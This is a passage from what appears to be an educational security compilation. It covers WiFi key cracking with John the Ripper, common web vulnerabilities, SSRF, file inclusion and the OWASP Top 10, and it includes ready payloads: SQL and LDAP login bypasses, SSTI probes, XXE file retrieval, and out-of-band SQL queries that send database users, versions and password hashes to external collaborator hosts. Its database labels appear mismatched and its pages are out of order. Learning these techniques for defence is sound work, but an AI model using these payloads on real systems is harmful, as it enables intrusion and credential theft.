Where handshake-06.cap is the name of the file which currently holds the captured traffic (and pre shared key). This file is converted, for simplicity, into an hccap file bearing the same name. You can choose a different name if you so desire. The hccap file is then converted into a text file which can be inputted directly into John the Ripper. hccap2john handshake-06.hccap > handshake-06.txt

The following command can be used to check for the new file. ls | grep handshake-06.txt

23

The final step is to use a wordlist which is included in Kali alongside John the Ripper to crack the key. If you have not used this wordlist before, you may need to unzip it from its .gz format. The wordlist is called rockyou.txt and found /usr/share/wordlists/rockyou.txt The following command can then be used to crack the preshared key collected! john --wordlist=/usr/share/wordlists/rockyou.txt handshake-06.txt

Conclusion This activity has given you a practical experiment in WiFi cracking using the aircrackng suite of tools and John the Ripper. Below are some resources which provide further depth and troubleshooting techniques should you get stuck along the way. Happy wireless hacking! Be ethical of course! Resources 1. https://www.aircrack-ng.org/doku.php?id=install_aircrack#installing_pre-compiled_binaries 2. https://www.aircrack-ng.org/doku.php?id=aircrack-ng_suite-under-windows_for_dummies 3. https://null-byte.wonderhowto.com/how-to/hack-wi-fi-getting-started-with-aircrack-ngsuite-wi-fi-hacking-tools-0147893/ 4. https://www.youtube.com/watch?v=JSMw4AHjRAE 5. https://www.aircrack-ng.org/doku.php?id=compatible_cards 6. https://www.aircrack-ng.org/~~v/doku.php?id=newbie_guide 7. https://www.aircrack-ng.org/doku.php?id=simple_wep_crack 8. https://www.aircrack-ng.org/doku.php?id=cracking_wpa 9. https://www.youtube.com/watch?v=4BCGKBn9Nzo

24

Web Application Exploitation:An Introduction By Yang Sze Jue

(Image are cited from https://www.forbes.com/sites/nicolefisher/2020/07/28/covid-crimes-espionage-hackers-and-whyamerica-is-vulnerable/)

“An exploit (from the English verb to exploit, meaning "to use something to one’s own advantage") is a piece of software, a chunk of data, or a sequence of commands that takes advantage of a bug or vulnerability to cause unintended or unanticipated behaviour to occur on computer software, hardware, or something electronic (usually computerized). Such behaviour frequently includes things like gaining control of a computer system, allowing privilege escalation, or a denial-of-service (DoS or related DDoS) attack.” – Wikipedia

In 2019, there is an attack every 39 seconds on average on the web and the non-secure usernames and passwords that are being used give attackers more chances of success, according to the Security Magazine. The attacks mentioned about do not means that something is being hacked, but it represents the number of trials that the hackers are trying to exploit the websites or servers. Forbes also stated that on average, there are 30,000 new websites are hacked every day. These websites are usually small business websites, because the small-medium enterprise (SMEs) usually would not invest too much in information security. As a result, they have lower-level cyber security and therefore they are the primary targets for hackers. There are 46% of web applications have critical vulnerabilities, according to the Acunetix’s report, titled “Web Application Vulnerability 2019”. These vulnerabilities might be a minor or unnoticeable security breach, but the hackers would make use of these vulnerabilities to gain access to the system and inject some malicious code on the websites. The report also stated that 87% of websites have mid-level weaknesses. This means that the website is vulnerable to SQL injections, XSS and other web application exploitations. 25

Web Application Vulnerabilities There are plenty of web application vulnerabilities which are common in nowadays. Below is the introduction of the common web application vulnerabilities: Allowing Domains or Accounts to Expire Allowing domains or accounts to expire without notification to the users or authorities could be dangerous and causes the web application to be vulnerable. For example, if a company has used a domain for a long time, promoting their company and receiving information from users. Then the senior management of the company decided to switch to another domain for promoting the company and abandon the old domain. The old domain could still receive information from users. If an attacker decided to purchase the old domain, the attacker could gain information about the user through the old domain and stealing the users’ credentials. Buffer Overflow Buffer Overflows occur when there is more data in a buffer than it can handle, causing data to overflow into adjacent storage. It is characterized by overwriting of memory fragments of the process, which should have never been modified intentionally or unintentionally. The overwriting values of the registers could cause several types of errors to occur, such as exceptions, segmentation faults. These errors would result in executing the application in a different way. Business Logic Vulnerability Business logic vulnerability is a vulnerability caused by improper management of organization. This vulnerability differs from the technical vulnerability as it usually involves the management level in the organization, such as not reviewing a transaction exceeding a certain amount in a company. This is not a technical error but a management error as it involves the management level to review the transaction. This vulnerability would result in undetected scams or invalid transactions of companies. Business logic vulnerability are easier to detect and exploit by hackers. CRLF Injection CRLF Injection attacks refer to the special character elements "Carriage Return" and "Line Feed." These character elements are used to note the termination of a line. In the Hyper Text Transfer Protocol (HTTP), the CR-LF sequence is always used to terminate a line. Exploits occur when an attacker is able to inject a CRLF sequence into an HTTP stream. 26

Empty String Passwords Empty string passwords are the passwords that are empty. Using empty string passwords are definitely insecure and extremely easy for the hackers to brute force or to guess. This would lead to serious security flaws and enable the hackers to gain access to the web application easily. Insecure Third-Party Domain Access Insecure third-party domain access occurs when an application contains content provided from a third-party resource that is delivered without any type of content scrub. The third-party source may deploy something malicious into the content of the domain, causing the domain to be easily exploited and vulnerable. The environments that would be affected by these insecure third-party domains are web servers, application servers and the client machines. Insufficient Session-ID Length A session identifier should be at least 128 bits long to prevent brute-force session guessing attacks. Insufficient session identifier length that are shorter than 128 bits would be easier for the hackers to carry out brute-force session guessing attacks. If attackers managed to guess an authenticated user’s session identifier, the attackers would be able to take over the control of the user’s session. Missing Error Handling Usually, in most of the web application today, there are error handlings to justify what error that the user encountered. A web application should have a default error page for 404 errors (Page Not Found), 500 errors (Internal Server Error) and to catch java.lang. These throwable exceptions could prevent attackers from mining information from the application container’s built-in error response. A web application should specify a default error page in order to guarantee that the web application would not leak error message that might be useful to an attacker. Missing XML Validation Missing a validation step while parsing XML would enable the attacker to supply malicious input. Attackers would be able to provide unexpected, unreasonable, or malicious inputs to a web application if the application accepts an XML document without validating it against DTD or XML schema. Although it is impossible for an XML parser to validate all aspects of a document’s content as it could not get a complete understanding about the semantics of the data, the parser can still protect a web application by doing a complete and thorough checking of the document to make sure it is malicious-free. 27

Password Plaintext Storage Storing the passwords of a web application in plaintext could be extremely dangerous to the application. This issue occurs when the passwords of the users in a web application are stored in the form of plaintext, in the application’s properties or configuration file. Without encoding the passwords from plaintext into cyphertext, once an attacker gained access to the application’s configuration file, the attacker could read the passwords without any delay. Compared to plaintext passwords, cyphertext passwords are harder to decode and require certain decryption algorithm, and it is harder for the attackers to read the passwords even they gained the access to the application’s configuration file. Session Variable Overloading Session Variable Overloading also known as Session Puzzling. It is an applicationlevel vulnerability that enables hackers to carry out a variety of malicious attacks towards a web application. This vulnerability occurs when an application uses a same session variable for multiple purpose. Reusing the same session variable for multiple purpose would enable the attackers to access pages in a web application in an unordered manner, different from the order which are anticipated by the developers. The attackers could take advantage of this vulnerability and bypass the authentication interface of the web application. Unrestricted File Upload Without restricting the types of file uploaded to a server in a web application, it would result in malicious files with malicious code embedded in it to be uploaded to the server. There are various attacks could be carry out through uploading malicious file into a server. After injecting the server with malicious code, the attackers could take control of the client through the server and results in a serious damage in the client’s computer. Using a broken or risky cryptographic algorithm By using a non-standard cryptographic algorithm, the security level of a web application could be very low. Non-standard cryptographic algorithms have their weaknesses as they are not tested in a variety of environments, and they might be easily decrypted. This would pose a high risk for the web application as the attackers could easily decrypt the algorithm and gain the plaintext data of the web application. The data encrypted by broken or risky cryptographic algorithms would lose their confidentiality and integrity.

28

Improper Error Handling Improper Error Handling vulnerabilities occur when a system reveals detailed error messages or codes generated from stack traces, database dumps, and a wide variety of other problems, including out of memory, null pointer exceptions, and network timeout errors. These details would reveal important clues on potential flaws in the sites for hackers. Failure to Restrict URL Access If an application failed to restrict URL access, it could be exploited by forced browsing. Forced browsing attacks can take place when an attacker is able to correctly guess the URL or brute force to access an unprotected website. Insufficient Transport Layer Protection Insufficient transport layer protection is a security weakness caused by applications not taking any measures to protect network traffic. A web application configuration should ensure that Secure Socket Layer (SSL) is used for all access-controlled pages. SSL would guarantee confidential communication with client browsers and make it impossible to view any access-controlled page without SSL. Unfortunately, it is a common issue that the configuration of an application fails to enforce the user of SSL on pages that contains sensitive data.

(Image are cited from https://www.ophtek.com/what-are-the-basics-of-pc-exploits/)

29

Attacks on Web Application Web applications today are the main targets of the attackers. Through attacking and exploiting on the web applications, the attackers could gain confidential data of the users and make profit from those confidential data. Below are the ways that the attackers could use to attack or exploit on the web applications. Brute Force Attack Brute Force attack is an attack that the attackers would use excessive forceful attempts to try to “force” themselves to bypass a security mechanism. It uses trial-and-error method attempting to guess the passwords, login credentials of a web application. This is a common way for attackers to attempt to crack passwords. If the web application has no restrictions on number of trials on passwords, the attackers could spend their time to guess the users’ passwords until they finally got the correct ones. CSV Injection CSV injection is also known as Formula injection. This vulnerability would occur when websites embed untrusted inputs inside CSV files. While opening a CSV file with spreadsheet programs such as Microsoft Excel, WPS Office, LibreOffice Calc, any cells starting with “=”, an equal sign, would be interpreted by the software as a formula. Attackers could inject malicious code through crafting malicious formulas starting with “=”, “+”, “-“ or “@”. With these malicious formulas, the attackers could further hijack the users’ computer or exfiltrating contents from the spreadsheet. Cache Poisoning Cache poisoning is an action of the attackers exploiting a web application server through malicious code embedded in the web cache. This attack involves two phases, where the first is the attackers elicit a response from the back-end server that contains dangerous payload followed by the phase to ensure the malicious response is cached and served to the users. The user would continuously receive the malicious content from the cache, until it is purged. Clickjacking Clickjacking is the short form for “click hijacking”. This attack would happen when the attackers trick the users into clicking on a link or button on a page and direct them to another page which might be malicious. This attack involves tempting the users to click on the button or link and routes them to another page. The attackers could also steal the users’ keystrokes by tricking the users to enter their credentials such as banking passwords, email passwords by directing the users to a surreal website that are almost identical to the real one. 30

Cross-Site Request Forgery Cross-Site Request Forgery (CSRF) is a malicious attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. The attacker may trick the users of a web application into executing actions of attacker’s choosing through a little help from social engineering, such as sending a link via email or chat. The attack could force the users to perform state changing requests such as transferring funds, changing their email addresses. If the victim is an administrative account, the attack could compromise the entire web application. Denial of Service (DoS) Denial of Service is a common attack nowadays. This attack focuses primarily on making a site, web application or server unavailable or experience downtime for malicious purpose. It is usually performed by sending excessively number of requests to the servers of a web application and make the services that the servers provide to experience a crash or downtime. A DoS attack could also be carried out through distributed botnets. This is also called Distributed Denial of Service (DDoS) attack. DDoS is basically same as DoS, with the attacks carried out in a distributed manner. Directory Traversal Directory traversal is a type of HTTP exploit that is used by attackers to gain unauthorized access to restricted directories and files. Directory traversal would enable the attackers to read files on the web server outside of the directory of the website. This would usually happen when the developers make mistakes or bugs in the software. Forced Browsing Forced browsing is an attack that attempts to access resources that are accessible but not referenced by the application or hidden from the users. The attack is done manually by modifying the URL address of a web application, intending to access some resources. The attackers could gain access to sensitive information about the web applications and operational systems through modifying the application index directories and pages. This attack would be having a high success rate if the web application has predictable values or common names for the directories link.

31

Man-In-The-Middle (MITM) MITM attack is an attack that intercept the communication pathways between two systems or between servers and clients. The attackers would split the connection between the client and server into two connections, which are between the attacker and the client, and between the attacker and the server. Through MITM attack, the attackers would be able to view the information transaction between the client and server. The attacker could also further modify on the information and making false request to the server or displaying irrelevant information to the users. Reverse “TabNabbing” Reverse Tabnabbing is one of the phishing methods on web applications. This attack involves two pages, one main page and another phishing page. The main page would be linked to the phishing page. When the users are browsing through the main page, there is a link that link to an external domain (the phishing site) and if the users clicked on the link, the phishing site would be able to gain full control over the main page’s window objects. Imagine a situation where a user is surfing a banking website, then the user clicked unintentionally on a link that pops up on the banking website. The link is a malicious link which is linked to an external domain and the site that the link represents would be able to take over control of the banking site. Once the user enters any credentials on the site, the attackers would gain all the sensitive information of the user. Session Hijacking Session hijacking attack, also known as cookie hijacking, is an attack that exploits a valid web application session, by compromising the session token by stealing or predicting a valid session token. This attack is attempting to gain unauthorized access to the web application’s server. After the attackers got a valid session token through either stealing or predicting, the attackers could use the Pass the Cookie technique to perform session hijacking. The user session would be taken over by the attackers as the server is fooled by treating the attackers’ connection as the original users’ valid sessions. Unicode Encoding Unicode encoding attack is an attack that aimed to explore flaws in the decoding mechanism used by the web applications while decoding the Unicode data format. The attackers could encode malicious characters in the URL to bypass the web application filters. The malicious characters would then be decoded into a malicious format that would harm the web server or enable attackers to gain access to restricted resources in the web server. 32

Server Side Request Forgery – SSRF By Ambadi MP A network security flaw that allows an attacker to force the server-side application to render HTTP requests to an arbitrary domain of the attacker's choice is server-side request forgery. In the insecure application itself or on other back-end devices with which the application can connect, an effective SSRF attack can results in inappropriate acts or access to information. The SSRF vulnerability can allow an attacker to execute arbitrary command execution in some cases. In order to escalate an attack from the compromised program and execute unauthorized actions, SSRF attacker manipulate trust relationships. In relation to the server itself, or in relation to other back-end structures within the same organization, these confidence relationships may occur.

The attacker may trigger the server in SSRF to bind back to itself, or to other web-based resources within the framework of the enterprise, or to third-party external systems. The attacker eventually gets back the answer to the SSRF payload in the Simple Server Side Request Forgery, which means that the request loop shuts back to the attacker. The ability to execute read and write operations is this sort of attack. Example: A shopping application that lets the customer see the number of items left in the store. Using the ID of a given product, the server gets its data from an API. The following request will be like. The server requests a particular URL for the number of items left in the inventory and returns it to the user. By changing the URL to an internal address, an attacker may misuse it.

33

When we find an SSRF, the first thing to do is to verify all the wrapper that fits, go and try another one if the server blocks one wrapper.

Blind Server-Side Request Forgery, do not return the response to the attacker. Reading operations are not immediate because of this open-loop, but blind attacks can quickly be used to execute writing operations for which the attacker does not need to see the answer. DNSBin, Burp Collaborator or a related technique may be used by an attacker to check blind SSRF attacks. With these we can Extract Meta data from internal network

34

Mitigation •



• •

Whitelisting the DNS name or IP address that your program wants to access is the most robust way of preventing Server Side Request Forgery (SSRF). It is necessary to verify user feedback correctly if a whitelist solution does not suit you and you must rely on a blacklist. You must ensure that the response received is as planned to avoid response data leaks to the attacker. The raw response body of the request submitted by the server should not be delivered to the client under any conditions. Disable URL schemes which are not used (ex: file:/, dict:/, ftp:/) Services like Memcached, Redis, Elasticsearch, and MongoDB do not need authentication by default. Host Side Request Forgery bugs may be exploited by an attacker to control any of these resources without any authentication. Therefore, it is better to allow authentication whenever possible, including for services on the local network, to ensure web application stability.

File Inclusion Vulnerability File Inclusion vulnerabilities are frequently found in badly written PHP web applications where the input parameters are not sufficiently sanitized or checked, it is also simple for an attacker to intercept passing HTTP requests, exploit a file name's URL parameter, and include malicious files on the web server. There are two types of file inclusion vulnerability, LFI, and RFI. LFI also known as Local File Inclusion, Using LFI, an attacker is able to retrieve files from a central server and can even run local server files. RFI also known as Remote File Inclusion, an intruder can execute files from a remote server by using RFI leads to Command Execution.

35

Mitigation •

It is much safer to maintain a whitelist of acceptable filenames and use an appropriate identifier (not the actual name) to access the file in order to securely parse user-supplied filenames. It is then possible to simply refuse any request containing an invalid identifier.

36

Resources 1. https://www.webarxsecurity.com/website-hacking-statistics-2018-february/ 2. https://www.veracode.com/security/web-application-vulnerabilities 3. https://owasp.org/www-community/vulnerabilities/ 4. https://owasp.org/www-community/attacks/ 5. https://www.acunetix.com/websitesecurity/directory-traversal/ 6. https://www.synopsys.com/glossary/what-is-ldap-injection.html 7. https://www.acunetix.com/blog/articles/what-is-insecure-deserialization/ 8. https://www.kaspersky.com/resource-center/definitions/brute-force-attack 9. https://portswigger.net/web-security/web-cache-poisoning 10. https://www.netsparker.com/blog/web-security/session-hijacking/ 11. https://en.wikipedia.org/wiki/Session_hijacking 12. https://sucuri.net/guides/owasp-top-10-security-vulnerabilities-2020/

37

OWASP , The Guardian of Modern Apps By: Ambadi MP The Websites are rising gradually. Every day, hundreds of thousands of websites are launched and there are always those bad guys waiting in the corner trying to break up your website and steal some sweet info. Software and Application Security is simply one of the most important factors in development planning. The level of reliability is, after all, what determines its performance, and this will be expressed, for instance, in the number of active users in the program. And without mentioning OWASP, there is no way to address security. So, what is OWASP? On April 21, 2004, OWASP, known as the Open Web Application Security Initiative, started, it is an international non-profit organization in the United States focused on improving the security of software primarily dedicated to the security of web applications. The fundamental concept of OWASP is that all its materials are freely accessible to everyone. OWASP Top 10, focusing on the top 10 most serious risks, and it is a frequently updated study detailing security threats to web application security. The report is being prepared by a worldwide team of intelligence experts. OWASP refers to the Top 10 as a 'awareness guide' and recommends that all businesses integrate the study into their processes to eliminate and reduce security risks. Top 10 in OWASP (2017 edition) • • • • • • • • • •

Injection Broken Authentication Sensitive Data Exposure XML External Entities (XXE) Broken Access Control Security Misconfiguration Cross-Site Scripting XSS Insecure Deserialization Using Components with Known Vulnerabilities Insufficient Logging & Monitoring

You can find the latest revisions directly from https://owasp.org

38

Injection The most frequent cause of injection vulnerabilities stems from the inability of a website to filter or sanitize the input of a user. The following problem will always be posed to web apps: allowing user feedback is important for the application to work as planned, but there will always be malicious users who try to manipulate this reality by sending unwanted or unintended details. The other big cause of injection attacks is due to concatenate user input directly into the response call are especially vulnerable queries or commands, enabling an attacker to modify the intended purpose with malicious data. There are a variety of different injection vulnerabilities. HTML Injection HTML injection is a type of injection problem that occurs when a user is able to manipulate an input point and can insert arbitrary HTML code into a compromised web page. This vulnerability can have several effects, such as exposing cookies from a user's session that could be used to impersonate the victim or, more commonly, allowing the attacker to change the content of the page seen by the victims. An intruder may submit HTML-formatted text to change site content that is displayed to other users when applications fail to validate user data. A specially crafted query can lead to the inclusion of attacker-controlled HTML elements on the web page that alter the way the content of the application is presented to the web.

Payload:
HACKED


Warning!!


39

SQL Injection SQL injection is a web security vulnerability that allows an intruder to change a database's SQL queries. This can be used to obtain certain sensitive data, such as the configuration of the database, tables, columns, and their underlying data. Imagine an application uses the following query to fetch login data from database: SELECT USERNAME,PASSWORD PASSWORD='password';

from

USERS

where

USERNAME='username'

AND

Here, the username and password are the user's input. Suppose the input is given in both fields by an attacker as 'OR' 1'= The SQL query would then look like: SELECT USERNAME,PASSWORD from USERS where USERNAME='' OR '1'='1' AND PASSWORD='' OR '1'='1';

The outcome of this query is a true statement, and the user is thus logged in. The most basic form of SQL injection is depicted in this example.( Mostly, in the real world, you won't find any such cases.) Three key categories of SQL Injection can be divided into • • •

In-band SQL Injection Inferential SQL Injection Out-of-band SQL Injection

In-band SQL Injection The most popular and easy-to-exploit of SQL Injection attacks is in-band SQL Injection. In-band SQL Injection happens when an attacker can both initiate the attack and collect results using the same communication channel. An attacker can use HTTP communication as an example to deploy the attack to a backend and get the results on the same channel. There are two major types of injections of In-band SQL Error-based SQL injection : Error-based SQL injection is an in-band SQL injection technique that relies on database server error messages to extract information about the database structure. Union-based SQL Injection : Union-based SQL Injection is an in-band SQL injection technique that combines the results of two or more SELECT statements into a single result by using the UNION SQL operator, which is then returned as part of the HTTP response. 40

Inferential SQLi or Blind SQLi No data is actually transmitted through the web application in an inferential SQLi attack, and the attacker will be unable to see the outcome of an in-band attack. Instead, by sending payloads, monitoring the web application's response and the subsequent actions of the database server, an attacker is able to recreate the database structure. The main difference is how the data is extracted from the database. Blind SQL injection is almost similar to regular SQL injection. An attacker is forced to steal data by asking the database a series of true or false questions when the database does not output data to the web page. That makes it harder, but not impossible, to exploit the SQL Injection vulnerability. There are two types of injections with Blind SQL Boolean Based Injection : This is a form of attack that asks true or false questions about the database and decides the answer based on the response of the applications. This attack is frequently used when a web application is configured to display generic error messages, but the code vulnerable to SQL injection has not been protected. Time Based Injection : Time-based SQL injection is an SQL injection technique based on sending a database SQL query that forces the database to wait before responding for a given amount of time (in seconds). The response time would show to the attacker whether TRUE or FALSE is the outcome of a question. Out-of-band SQL Injection This form of injection is not very popular, mainly because it depends on features that are allowed on the web application's database server. Out-of-band SQL Injection happens when an attacker is unable to initiate the attack and collect results using the same channel, it exfiltrates through outbound channel, it can be either HTTP or DNS protocol The targeted web and database servers should meet the following requirements for the exploitation of OOB SQL injection: • •

The network environment allows targeted database servers to initiate outbound requests (either DNS or HTTP) to the public without security perimeter restrictions. Appropriate privileges to perform the function required to initiate the outbound request

This is the case with the xp_dirtree command of Microsoft SQL Server, which can be used to make DNS requests to a server controlled by an attacker, as well as the UTL_HTTP package of Oracle Database, and load_file in Mariadb, which can be used to send HTTP requests from SQL and PL/SQL to a server controlled by an attacker. We can use burp collaborator for exfiltrating data. 41

Result through burp collaborator in OOB SQLi

Microsoft SQL Server DECLARE @a varchar(1024); DECLARE @b varchar(1024); SELECT @a = (SELECT system_user); SELECT @b = (SELECT DB_Name()); EXEC('master..xp_dirtree"\\'+@a+''+'.'+''+@b+'.tgd3s99qqjjiq6ach0w0fxyid9jz7o.burpc ollabo rator.net\egg$"'); 𝑭𝒊. = master..xp_dirtree 𝑺𝑸𝑳 𝒄𝒐𝒎𝒎𝒂𝒏𝒅𝒔 = SELECT system_user, SELECT DB_Name() 𝑭𝑸𝑫𝑵 = tgd3s99qqjjiq6ach0w0fxyid9jz7o.burpcollaborator.net Result : database_name.tgd3s99qqjjiq6ach0w0fxyid9jz7o.burpcollaborator.net

Oracle Select load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.',(SELECT+password), '.','n5tgzhrf768l71uaacqu0hqlocu2ir.burpcollabo rator.net\\vfw')) 𝑭𝒊. = load_file 𝑺𝑸𝑳 𝒄𝒐𝒎𝒎𝒂𝒏𝒅𝒔 = SELECT+@@version, SELECT+user, SELECT+password 𝑭𝑸𝑫𝑵 = n5tgzhrf768l71uaacqu0hqlocu2ir.burpcollaborator.net Result: db_version.user.password.n5tgzhrf768l71uaacqu0hqlocu2ir.burpcollaborator.net

Mariadb SELECT UTL_HTTP.request('http://fexvz59jd1088tjhf7y6z0onkeq4et.burpcollaborato r.net/'||'?version='||(SELECT version FROM v$instance)||'&'||'user='||(SELECT user FROM dual)||'&'||'hashpass='||(SELECT spare4 FROM sys.user$ WHERE rownum=1)) FROM dual; 𝑭𝒊. = UTL_HTTP.request 𝑺𝑸𝑳 𝒄𝒐𝒎𝒎𝒂𝒏𝒅𝒔 = SELECT version FROM v$instance, SELECT user FROM dual, SELECT spare4 FROM sys.user$ WHERE rownum=1 𝑭𝑸𝑫𝑵 = fexvz59jd1088tjhf7y6z0onkeq4et.burpcollaborator.net Result: db_version.user.password_hash.fexvz59jd1088tjhf7y6z0onkeq4et.burpcollaborator.net

42

LDAP Injection Injection of LDAP is a vulnerability in which queries without prior validation or sanitization are crafted from untrusted input. LDAP uses queries that are created from predicates requiring the use of particular characters. Such metacharacters monitor the query context, influencing the type and number of objects retrieved from the underlying directory. Both server-side and client-side elements are included in the application architecture that supports LDAP. LDAP queries that are sent to the server are referred to as LDAP search filters, which are designed using prefix notation. An example of an LDAP search filter is given below: find("(&(cn=" + username +")(userPassword=" + pass +"))")

The notation of this prefix filter instructs the query to find an LDAP node with the username and password given. Just imagine a scenario where this query is built by applying an HTML type to the username and password strings received. If these usercontrolled values are appended without any validation or sanitization to the LDAP search filter, the username and password value of '*' alters the query's intended purpose and returns a list of all users. Special characters other than '*' may generate malicious queries as well. If the value of a username is set to '*)(cn=*))(|(cn=*', the effective search filter will be: find("(&(cn=*)(cn=*))(|(cn=*)(userPassword=" + pass +"))")

With the above payload, an attacker will easily circumvent authentication controls if this query is used within an authentication flow. A variety of LDAP injection exploits are available that can be performed against a vulnerable server. Additionally, LDAP servers also store information given to them, such as users, positions, permissions, and related objects, which can be devastating if breached. Default Attributes of LDAP

43

Payloads for LDAP Injection

Login Bypass payloads

44

Blind LDAP Injection

SSTI When an attacker is able to use native template syntax to insert a malicious payload into a template, a server-side template injection occurs, and is then executed server-side. By mixing set templates with volatile data, template engines are programmed to create web pages. When user input is concatenated directly into a template, rather than passed in as results, SSTI attacks may occur. In order to exploit the template engine, this helps attackers to insert arbitrary template instructions, also causing them to code execution and take full control of the server. The first step in exploitation, as with any flaw, is being able to locate it. Maybe the best initial solution is to inject a series of special characters widely found in template expressions, such as the polyglot ${{< percent [percent "}}} percent \, to try fuzzing the template. You can spot the variations between the response with normal data on the parameter and the specified payload in order to verify if the server is vulnerable. It would be quick to find out whether an error is thrown out that the server is insecure and even which engine is running. But if you were expecting it to represent the specified payload and it is not reflected, or if there are any missing chars in the answer, you might also find a vulnerable server. Plain Text Context Detection The input given is made and echoed in the response. This is frequently misunderstood for a basic XSS weakness, but if you try to set mathematical operations within a template expression, it is easy to make a difference: {{7*7}} ${7*7}

The website is susceptible to Server Side Template injection if it does arithmetic computing on the payload. 45

Code Context Detection The user input is inserted inside a template expression in these instances: The page's URL access could be close to: http://website.com/? Greeting=data.username The response will not include the username if you change the greeting parameter to another value, but if you visit anything like: http://website.com/? username.

Greeting=data.username}}hello,

then

response

will

contain

The server will print the errors if you are lucky, and you will be able to identify the engine used in the errors. Any alternative payloads that may trigger mistakes: SSTI Cheat sheet • •

https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti An automated tool for exploitation https://github.com/epinna/tplmap

Mitigation Minimize privileges to the accounts this will ensure that the attacker will not be able to make use of unauthorized use of specific data, even after getting into the database. Use Parameterized query. In a parameterized query the programmer needs first to define all the SQL code and then pass the value in each parameter to the query later. This coding style allows the database to distinguish between command and data, regardless of what input is supplied. Sanitize user inputs. The method of sanitizing the inputs is very trivial as all it does is handle the inline single quote (‘) characters suitably so that they cannot be used to end a string inside of a SQL statement prematurely. Configure Error Responses. the error responses are key to any hacker. For certain systems, the default error response reporting requires developer debugging information, and this cannot be revealed to outside users. Use them in the sandbox if user inputs are used or have to blacklist commands on the server so that if users supply them, they never get executed. Change directory permission.

46

Broken Authentication This vulnerability class encompasses any flaws in the technique of authentication/session management. These are also poorly implemented in web apps, providing attackers with access to account(s) and/or information that they may not otherwise be permitted to see. Broken authentication has a number of contributing factors, Failure to deny attacks by automation. Enable users to have passwords such as password@1 that are weak or well-known. Based on error messages/response times, it reveals username/password information. Implements weak recovery of passwords and forgotten-password steps. Exposes URLs with session IDs. Fails to enforce the swapping of the Session ID after a user logs in. After a session has left and has been inactive for a considerable amount of time, sessions remain active for too long.

47

Mitigation Two-factor authentication of all logins (or 2FA). This so clearly protects accounts from being brute-forced. Make sure users have good enough passwords by applying password formation validation. A good way to improve security is to set criteria such as minimum password length, mandatory complexity, and to reject the setting of common passwords/patterns. Login Rate-limit attempts. Although this is normally achieved by tracking cookies or IP addresses this can be spoofed by an attacker. In the same way, to further slow the bruteforce attempts of an attacker, a response delay (with PHP using sleep()) can be introduced. Use a server-side, built-in session manager which, after a user has logged in, generates a random, high-entropy session ID. Do not ever use this ID in URLs and make sure that after a time of inactivity, it is invalidated.

Sensitive Data Exposure This vulnerability arises when a web application, including (but not limited to) datasets such as e-mail addresses, postal addresses, banking information, birth dates and telephone numbers, fails to properly secure sensitive data, including personal identifiable information. There is a risk to sites if: • • • • • • • • •

In plain text, the data is transmitted (over protocols such as HTTP, FTP and SMTP). Sensitive data is stored in plain text on the server side. For encryption, known-to-be weak cryptographic algorithms such as MD5 or SHA-1 are used. Cryptographic default/weak keys are used. Source Code Leak Disclose sensitive info in JavaScript files Exposing PII and Health Records Leaking of database files which includes hashed and unhashed passwords Leaks on GitHub like platforms

For More Google Dorks: exploit-db.com/google-hacking-database

48

Mitigation • • • • • •

Identify all details that may be deemed 'important'. Notice where it is stored and how, as well as whether it is transported and how it is transferred. Do not store confidential information that is no longer needed. Using tokenization for sensitive financial data. Make sure all confidential data stored is encrypted using cryptographic keys with strong algorithms that have not been created using standard/default passwords. Using TLS, perfect forward secrecy (PFS) cyphers, as well as enforcing directives such as HTTP Strict Transport Protection, confirm the transmitted information. Using powerful salted hashing functions, store passwords.

XML External Entities Injection XXE allows an attacker to mess with the way XML data is interpreted by an application. Successful exploitation makes it possible for an attacker to view files from the server of the application and communicate with any external or backend systems accessible by the application. What’s XML and XML Entities? XML stands for an extensible markup language and is intended for information storage and transport. It is like HTML because it has a tree-like tag and data structure, but there are no predefined tags for XML, such as h1, img, div, etc.; tags are custom named for the information they reflect. Instead of using the data itself, XML entities are a way to describe an object of data within an XML document. Think of it in programming as a variable. DTD It includes declarations that can describe the XML document structure, the types of data values that it can contain, and other objects. There is two types of DTD’s Internal DTD and External DTD . At the beginning of the XML text, the DTD is declared within the DOCTYPE variable. In internal DTD you may use a declaration to write rules within an XML document. Within this text, the reach of this DTD. Advantages is a text that is validated without external reference on its own.

49

In External DTD rules can be written in a separate file (with .dtd extension). This file was later connected to an XML document. You may connect multiple XML documents to refer to the same DTD rules in this way.

Tove Jani Reminder Don't forget me this weekend!

And this is the file "note.dtd" which contains the DTD:





XXE to File Retrieval You need to change the submitted XML in two ways to perform a XXE injection that retrieves an arbitrary file from a server's filesystem: Enter a DOCTYPE variable that defines an external entity that contains the file path. To make use of the specified external entity, edit the data value in the XML returned in the application's response. Example: Original :

3301

Modified:

&xxe;

DOCTYPE element has been inserted to reference an external entity from the server using the SYSTEM keyword and then uses the &xxe; entity in the request to retrieve the information we want. XXE to SSRF

78

Blind XXE vulnerabilities Many instances of XXE vulnerabilities are blind. This means that the application does not return the values of any defined external entities in its responses, and so direct retrieval of server-side files is not possible. Blind XXE vulnerabilities can still be detected and exploited, but more advanced techniques are required. You can sometimes use out-of-band techniques to find vulnerabilities and exploit them to exfiltrate data. And you can sometimes trigger XML parsing errors that lead to disclosure of sensitive data within error messages. XInclude attacks Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when clientsubmitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service. In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE element. However, you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from subdocuments. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document. To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example:

XXE attacks via file upload Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XMLbased formats are office document formats like DOCX and image formats like SVG. For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities. XXE attacks via modified content type Most POST requests use a default content type that is generated by HTML forms, such as application/x-www-form-urlencoded. Some web sites expect to receive requests in this format but will tolerate other content types, including XML. 79

For example, if a normal request contains the following: POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar

